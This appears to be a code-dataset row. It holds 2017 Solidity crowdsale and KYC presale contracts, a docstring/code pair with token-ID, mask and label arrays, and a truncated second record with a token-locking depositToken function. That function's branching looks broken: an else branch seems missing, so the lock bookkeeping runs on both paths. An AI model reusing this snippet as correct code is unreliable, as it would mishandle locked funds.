* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
* Haltable
*
* Abstract contract that allows children to implement an
* emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode.
*
*
* Originally envisioned in FirstBlood ICO contract.
*/
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Safe unsigned safe math.
*
* https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli
*
* Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol
*
* Maintained here until merged to mainline zeppelin-solidity.
*
*/
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* A token that defines fractional units as decimals.
*/
contract FractionalERC20 is ERC20 {
uint public decimals;
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Interface for defining crowdsale pricing.
*/
contract PricingStrategy {
/** Interface declaration. */
function isPricingStrategy() public constant returns (bool) {
return true;
}
/** Self check if all references are correctly set.
*
* Checks that pricing strategy matches crowdsale parameters.
*/
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
/**
* @dev Pricing tells if this is a presale purchase or not.
@param purchaser Address of the purchaser
@return False by default, true if a presale purchaser
*/
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
/**
* When somebody tries to buy tokens for X eth, calculate how many tokens they get.
*
*
* @param value - What is the value of the transaction send in as wei
* @param tokensSold - how much tokens have been sold this far
* @param weiRaised - how much money has been raised this far in the main token sale - this number excludes presale
* @param msgSender - who is the investor of this transaction
* @param decimals - how many decimal units the token has
* @return Amount of tokens the investor receives
*/
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Finalize agent defines what happens at the end of succeseful crowdsale.
*
* - Allocate tokens for founders, bounties and community
* - Make tokens transferable
* - etc.
*/
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
/** Return true if we can run finalizeCrowdsale() properly.
*
* This is a safety check function that doesn't allow crowdsale to begin
* unless the finalizer has been set up properly.
*/
function isSane() public constant returns (bool);
/** Called once by crowdsale finalize() if the sale was success. */
function finalizeCrowdsale();
}
/**
* Crowdsale state machine without buy functionality.
*
* Implements basic state machine logic, but leaves out all buy functions,
* so that subclasses can implement their own buying logic.
*
*
* For the default buy() implementation see Crowdsale.sol.
*/
contract CrowdsaleBase is Haltable {
/* Max investment count when we are still allowed to change the multisig address */
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
/* The token we are selling */
FractionalERC20 public token;
/* How we are going to price our offering */
PricingStrategy public pricingStrategy;
/* Post-success callback */
FinalizeAgent public finalizeAgent;
/* tokens will be transfered from this address */
address public multisigWallet;
/* if the funding goal is not reached, investors may withdraw their funds */
uint public minimumFundingGoal;
/* the UNIX timestamp start date of the crowdsale */
uint public startsAt;
/* the UNIX timestamp end date of the crowdsale */
uint public endsAt;
/* the number of tokens already sold through this contract*/
uint public tokensSold = 0;
/* How many wei of funding we have raised */
uint public weiRaised = 0;
/* Calculate incoming funds from presale contracts and addresses */
uint public presaleWeiRaised = 0;
/* How many distinct addresses have invested */
uint public investorCount = 0;
/* How much wei we have returned back to the contract after a failed crowdfund. */
uint public loadedRefund = 0;
/* How much wei we have given back to investors.*/
uint public weiRefunded = 0;
/* Has this crowdsale been finalized */
bool public finalized;
/** How much ETH each address has invested to this crowdsale */
mapping (address => uint256) public investedAmountOf;
/** How much tokens this crowdsale has credited for each investor address */
mapping (address => uint256) public tokenAmountOf;
/** Addresses that are allowed to invest even before ICO offical opens. For testing, for ICO partners, etc. */
mapping (address => bool) public earlyParticipantWhitelist;
/** This is for manul testing for the interaction from owner wallet. You can set it to any value and inspect this in blockchain explorer to see that crowdsale interaction works. */
uint public ownerTestValue;
/** State machine
*
* - Preparing: All contract initialization calls and variables have not been set yet
* - Prefunding: We have not passed start time yet
* - Funding: Active crowdsale
* - Success: Minimum funding goal reached
* - Failure: Minimum funding goal not reached before ending time
* - Finalized: The finalized has been called and succesfully executed
* - Refunding: Refunds are loaded on the contract for reclaim.
*/
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
// Refund was processed for a contributor
event Refund(address investor, uint weiAmount);
// The rules were changed what kind of investments we accept
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
// Address early participation whitelist status changed
event Whitelisted(address addr, bool status);
// Crowdsale end time has been changed
event EndsAtChanged(uint newEndsAt);
function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
// Don't mess the dates
if(startsAt >= endsAt) {
throw;
}
// Minimum funding goal can be zero
minimumFundingGoal = _minimumFundingGoal;
}
/**
* Don't expect to just send in money and get tokens.
*/
function() payable {
throw;
}
/**
* Make an investment.
*
* Crowdsale must be running for one to invest.
* We must have not pressed the emergency brake.
*
* @param receiver The Ethereum address who receives the tokens
* @param customerId (optional) UUID v4 to track the successful payments on the server side'
*
* @return tokenAmount How mony tokens were bought
*/
function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) {
// Determine if it's a good time to accept investment from this participant
if(getState() == State.PreFunding) {
// Are we whitelisted for early deposit
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
// Retail participants can only come in when the crowdsale is running
// pass
} else {
// Unwanted state
throw;
}
uint weiAmount = msg.value;
// Account presale sales separately, so that they do not count against pricing tranches
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
// Dust transaction
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
// Update totals
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
// Check that we did not bust the cap
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
// Pocket the money, or fail the crowdsale if we for some reason cannot send the money to our multisig
if(!multisigWallet.send(weiAmount)) throw;
// Tell us invest was success
Invested(receiver, weiAmount, tokenAmount, customerId);
return tokenAmount;
}
/**
* Finalize a succcesful crowdsale.
*
* The owner can triggre a call the contract that provides post-crowdsale actions, like releasing the tokens.
*/
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
// Already finalized
if(finalized) {
throw;
}
// Finalizing is optional. We only call it if we are given a finalizing agent.
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
/**
* Allow to (re)set finalize agent.
*
* Design choice: no state restrictions on setting this, so that we can fix fat finger mistakes.
*/
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
// Don't allow setting bad agent
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
/**
* Allow crowdsale owner to close early or extend the crowdsale.
*
* This is useful e.g. for a manual soft cap implementation:
* - after X amount is reached determine manual closing
*
* This may put the crowdsale to an invalid state,
* but we trust owners know what they are doing.
*
*/
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw; // Don't change past
}
if(startsAt > time) {
throw; // Prevent human mistakes
}
endsAt = time;
EndsAtChanged(endsAt);
}
/**
* Allow to (re)set pricing strategy.
*
* Design choice: no state restrictions on the set, so that we can fix fat finger mistakes.
*/
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
// Don't allow setting bad agent
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
/**
* Allow to change the team multisig address in the case of emergency.
*
* This allows to save a deployed crowdsale wallet in the case the crowdsale has not yet begun
* (we have done only few test transactions). After the crowdsale is going
* then multisig address stays locked for the safety reasons.
*/
function setMultisig(address addr) public onlyOwner {
// Change
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
/**
* Allow load refunds back on the contract for the refunding.
*
* The team can transfer the funds back on the smart contract in the case the minimum goal was not reached..
*/
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
/**
* Investors can claim refund.
*
* Note that any refunds from proxy buyers should be handled separately,
* and not through this contract.
*/
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
/**
* @return true if the crowdsale has raised enough money to be a successful.
*/
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
/**
* Check if the contract relationship looks good.
*/
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
/**
* Check if the contract relationship looks good.
*/
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
/**
* Crowdfund state machine management.
*
* We make it a function and do not assign the result to a variable, so there is no chance of the variable being stale.
*/
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
/** This is for manual testing of multisig wallet interaction */
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
/**
* Allow addresses to do early participation.
*
* TODO: Fix spelling error in the name
*/
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
/** Interface marker. */
function isCrowdsale() public constant returns (bool) {
return true;
}
//
// Modifiers
//
/** Modified allowing execution only if the crowdsale is currently running. */
modifier inState(State state) {
if(getState() != state) throw;
_;
}
//
// Abstract functions
//
/**
* Check if the current invested breaks our cap rules.
*
*
* The child contract must define their own cap setting rules.
* We allow a lot of flexibility through different capping strategies (ETH, token count)
* Called from invest().
*
* @param weiAmount The amount of wei the investor tries to invest in the current transaction
* @param tokenAmount The amount of tokens we try to give to the investor in the current transaction
* @param weiRaisedTotal What would be our total raised balance after this transaction
* @param tokensSoldTotal What would be our total sold tokens count after this transaction
*
* @return true if taking this investment would break our cap rules
*/
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
/**
* Check if the current crowdsale is full and we can no longer sell any tokens.
*/
function isCrowdsaleFull() public constant returns (bool);
/**
* Create new tokens or transfer issued tokens to the investor depending on the cap model.
*/
function assignTokens(address receiver, uint tokenAmount) internal;
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Deserialize bytes payloads.
*
* Values are in big-endian byte order.
*
*/
library BytesDeserializer {
/**
* Extract 256-bit worth of data from the bytes stream.
*/
function slice32(bytes b, uint offset) constant returns (bytes32) {
bytes32 out;
for (uint i = 0; i < 32; i++) {
out |= bytes32(b[offset + i] & 0xFF) >> (i * 8);
}
return out;
}
/**
* Extract Ethereum address worth of data from the bytes stream.
*/
function sliceAddress(bytes b, uint offset) constant returns (address) {
bytes32 out;
for (uint i = 0; i < 20; i++) {
out |= bytes32(b[offset + i] & 0xFF) >> ((i+12) * 8);
}
return address(uint(out));
}
/**
* Extract 128-bit worth of data from the bytes stream.
*/
function slice16(bytes b, uint offset) constant returns (bytes16) {
bytes16 out;
for (uint i = 0; i < 16; i++) {
out |= bytes16(b[offset + i] & 0xFF) >> (i * 8);
}
return out;
}
/**
* Extract 32-bit worth of data from the bytes stream.
*/
function slice4(bytes b, uint offset) constant returns (bytes4) {
bytes4 out;
for (uint i = 0; i < 4; i++) {
out |= bytes4(b[offset + i] & 0xFF) >> (i * 8);
}
return out;
}
/**
* Extract 16-bit worth of data from the bytes stream.
*/
function slice2(bytes b, uint offset) constant returns (bytes2) {
bytes2 out;
for (uint i = 0; i < 2; i++) {
out |= bytes2(b[offset + i] & 0xFF) >> (i * 8);
}
return out;
}
}
/**
* A mix-in contract to decode different signed KYC payloads.
*
* @notice This should be a library, but for the complexity and toolchain fragility risks involving of linking library inside library, we currently use this as a helper method mix-in.
*/
contract KYCPayloadDeserializer {
using BytesDeserializer for bytes;
// @notice this struct describes what kind of data we include in the payload, we do not use this directly
// The bytes payload set on the server side
// total 56 bytes
struct KYCPayload {
/** Customer whitelisted address where the deposit can come from */
address whitelistedAddress; // 20 bytes
/** Customer id, UUID v4 */
uint128 customerId; // 16 bytes
/**
* Min amount this customer needs to invest in ETH. Set zero if no minimum. Expressed as parts of 10000. 1 ETH = 10000.
* @notice Decided to use 32-bit words to make the copy-pasted Data field for the ICO transaction less lenghty.
*/
uint32 minETH; // 4 bytes
/** Max amount this customer can to invest in ETH. Set zero if no maximum. Expressed as parts of 10000. 1 ETH = 10000. */
uint32 maxETH; // 4 bytes
/**
* Information about the price promised for this participant. It can be pricing tier id or directly one token price in weis.
* @notice This is a later addition and not supported in all scenarios yet.
*/
uint256 pricingInfo;
}
/**
* Same as above, does not seem to cause any issue.
*/
function getKYCPayload(bytes dataframe) public constant returns(address whitelistedAddress, uint128 customerId, uint32 minEth, uint32 maxEth) {
address _whitelistedAddress = dataframe.sliceAddress(0);
uint128 _customerId = uint128(dataframe.slice16(20));
uint32 _minETH = uint32(dataframe.slice4(36));
uint32 _maxETH = uint32(dataframe.slice4(40));
return (_whitelistedAddress, _customerId, _minETH, _maxETH);
}
/**
* Same as above, but with pricing information included in the payload as the last integer.
*
* @notice In a long run, deprecate the legacy methods above and only use this payload.
*/
function getKYCPresalePayload(bytes dataframe) public constant returns(address whitelistedAddress, uint128 customerId, uint32 minEth, uint32 maxEth, uint256 pricingInfo) {
address _whitelistedAddress = dataframe.sliceAddress(0);
uint128 _customerId = uint128(dataframe.slice16(20));
uint32 _minETH = uint32(dataframe.slice4(36));
uint32 _maxETH = uint32(dataframe.slice4(40));
uint256 _pricingInfo = uint256(dataframe.slice32(44));
return (_whitelistedAddress, _customerId, _minETH, _maxETH, _pricingInfo);
}
}
/**
* A presale smart contract that collects money from SAFT/SAFTE agreed buyers.
*
* Presale contract where we collect money for the token that does not exist yet.
* The same KYC rules apply as in KYCCrowdsale. No tokens are issued in this point,
* but they are delivered to the buyers after the token sale is over.
*
*/
contract KYCPresale is CrowdsaleBase, KYCPayloadDeserializer {
/** The cap of this presale contract in wei */
uint256 public saleWeiCap;
/** Server holds the private key to this address to decide if the AML payload is valid or not. */
address public signerAddress;
/** A new server-side signer key was set to be effective */
event SignerChanged(address signer);
/** An user made a prepurchase through KYC'ed interface. The money has been moved to the token sale multisig wallet. The buyer will receive their tokens in an airdrop after the token sale is over. */
event Prepurchased(address investor, uint weiAmount, uint tokenAmount, uint128 customerId, uint256 pricingInfo);
/** The owner changes the presale ETH cap during the sale */
event CapUpdated(uint256 newCap);
/**
* Constructor.
*
* Presale does not know about token or pricing strategy, as they will be only available during the future airdrop.
*
* @dev The parent contract has some unnecessary variables for our use case. For this round of development, we chose to use null value for token and pricing strategy. In the future versions have a parent sale contract that does not assume an existing token.
*/
function KYCPresale(address _multisigWallet, uint _start, uint _end, uint _saleWeiCap) CrowdsaleBase(FractionalERC20(address(1)), PricingStrategy(address(0)), _multisigWallet, _start, _end, 0) {
saleWeiCap = _saleWeiCap;
}
/**
* A token purchase with anti-money laundering
*
* ©return tokenAmount How many tokens where bought
*/
function buyWithKYCData(bytes dataframe, uint8 v, bytes32 r, bytes32 s) public payable returns(uint tokenAmount) {
// Presale ended / emergency abort
require(!halted);
bytes32 hash = sha256(dataframe);
var (whitelistedAddress, customerId, minETH, maxETH, pricingInfo) = getKYCPresalePayload(dataframe);
uint multiplier = 10 ** 18;
address receiver = msg.sender;
uint weiAmount = msg.value;
// The payload was created by token sale server
require(ecrecover(hash, v, r, s) == signerAddress);
// Determine if it's a good time to accept investment from this participant
if(getState() == State.PreFunding) {
// Are we whitelisted for early deposit
require(earlyParticipantWhitelist[receiver]);
} else if(getState() == State.Funding) {
// Retail participants can only come in when the crowdsale is running
// pass
} else {
// Unwanted state
revert;
}
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update per investor amount
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
// Update totals
weiRaised = weiRaised.plus(weiAmount);
// Check that we did not bust the cap
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
require(investedAmountOf[msg.sender] >= minETH * multiplier / 10000);
require(investedAmountOf[msg.sender] <= maxETH * multiplier / 10000);
// Pocket the money, or fail the crowdsale if we for some reason cannot send the money to our multisig
require(multisigWallet.send(weiAmount));
// Tell us invest was success
Prepurchased(receiver, weiAmount, tokenAmount, customerId, pricingInfo);
return 0; // In presale we do not issue actual tokens tyet
}
/// @dev This function can set the server side address
/// @param _signerAddress The address derived from server's private key
function setSignerAddress(address _signerAddress) onlyOwner {
signerAddress = _signerAddress;
SignerChanged(signerAddress);
}
/**
* Called from invest() to confirm if the curret investment does not break our cap rule.
*/
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
if(weiRaisedTotal > saleWeiCap) {
return true;
} else {
return false;
}
}
/**
* We are sold out when our approve pool becomes empty.
*/
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= saleWeiCap;
}
/**
* Allow owner to adjust the cap during the presale.
*
* This allows e.g. US dollar pegged caps.
*/
function setWeiCap(uint newCap) public onlyOwner {
saleWeiCap = newCap;
CapUpdated(newCap);
}
/**
* Because this is a presale, we do not issue any tokens yet.
*
* @dev Have this taken away from the parent contract?
*/
function assignTokens(address receiver, uint tokenAmount) internal {
revert;
}
/**
* Allow to (re)set pricing strategy.
*
* @dev Because we do not have token price set in presale, we do nothing. This will be removed in the future versions.
*/
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
}
/**
* Presale state machine management.
*
* Presale cannot fail; it is running until manually ended.
*
*/
function getState() public constant returns (State) {
if (block.timestamp < startsAt) {
return State.PreFunding;
} else {
return State.Funding;
}
}
} | Haltable Abstract contract that allows children to implement an emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode. Originally envisioned in FirstBlood ICO contract./ | contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
| 4,812,946 | [
1,
44,
287,
2121,
4115,
6835,
716,
5360,
2325,
358,
2348,
392,
801,
24530,
2132,
12860,
18,
13008,
414,
628,
21800,
16665,
635,
25416,
279,
604,
1347,
316,
18389,
1965,
18,
18040,
1230,
1550,
1951,
329,
316,
5783,
38,
383,
369,
467,
3865,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
6835,
670,
287,
2121,
353,
14223,
6914,
288,
203,
565,
1426,
1071,
19514,
2344,
31,
203,
21281,
565,
9606,
2132,
382,
1514,
24530,
288,
203,
1377,
309,
261,
22314,
2344,
13,
604,
31,
203,
1377,
389,
31,
203,
565,
289,
203,
21281,
565,
9606,
2132,
3989,
5460,
414,
382,
1514,
24530,
288,
203,
1377,
309,
261,
22314,
2344,
597,
1234,
18,
15330,
480,
3410,
13,
604,
31,
203,
1377,
389,
31,
203,
565,
289,
203,
21281,
565,
9606,
1338,
382,
1514,
24530,
288,
203,
1377,
309,
16051,
22314,
2344,
13,
604,
31,
203,
1377,
389,
31,
203,
565,
289,
203,
21281,
565,
445,
18389,
1435,
3903,
1338,
5541,
288,
203,
1377,
19514,
2344,
273,
638,
31,
203,
565,
289,
203,
21281,
565,
445,
640,
76,
2390,
1435,
3903,
1338,
5541,
1338,
382,
1514,
24530,
288,
203,
1377,
19514,
2344,
273,
629,
31,
203,
565,
289,
203,
21281,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xd8186d1C1Ab9F637DBb0216fA384A1A816889105/sources/SpaceMinePresale.sol | charge a fee amount is required to be above 0 in the start of this block, therefore this works | function depositToken(address token, uint256 amount, uint256 unlock_date) public payable {
require(unlock_date < 10000000000, 'Enter an unix timestamp in seconds, not miliseconds');
require(amount > 0, 'Your attempting to trasfer 0 tokens');
uint256 allowance = IERC20(token).allowance(msg.sender, address(this));
require(allowance >= amount, 'You need to set a higher allowance');
uint256 fee = calculateFee(amount);
uint256 amountIn = amount.sub(fee);
require(IERC20(token).transferFrom(msg.sender, address(this), amountIn), 'Transfer failed');
require(IERC20(token).transferFrom(msg.sender, address(feeReserveAddress), fee), 'Transfer failed');
if (!lockedTokenLookup[token]) {
lockedTokens.push(token);
lockedTokenLookup[token] = true;
}
LiquidityTokenomics storage liquidityTokenomics = tokenEpochMap[token];
if (liquidityTokenomics.releaseMap[unlock_date] > 0) {
liquidityTokenomics.releaseMap[unlock_date] = liquidityTokenomics.releaseMap[unlock_date].add(amountIn);
liquidityTokenomics.epochs.push(unlock_date);
liquidityTokenomics.releaseMap[unlock_date] = amountIn;
}
UserTokenInfo storage uto = tokenUserMap[token][msg.sender];
uto.deposited = uto.deposited.add(amountIn);
VestingPeriod[] storage vp = uto.vestingPeriods;
vp.push(VestingPeriod(unlock_date, amountIn));
emit onDeposit(token, amount, unlock_date);
}
| 3,610,971 | [
1,
16385,
279,
14036,
3844,
353,
1931,
358,
506,
5721,
374,
316,
326,
787,
434,
333,
1203,
16,
13526,
333,
6330,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
443,
1724,
1345,
12,
2867,
1147,
16,
2254,
5034,
3844,
16,
2254,
5034,
7186,
67,
712,
13,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
26226,
67,
712,
411,
2130,
12648,
16,
296,
10237,
392,
9753,
2858,
316,
3974,
16,
486,
312,
330,
291,
20960,
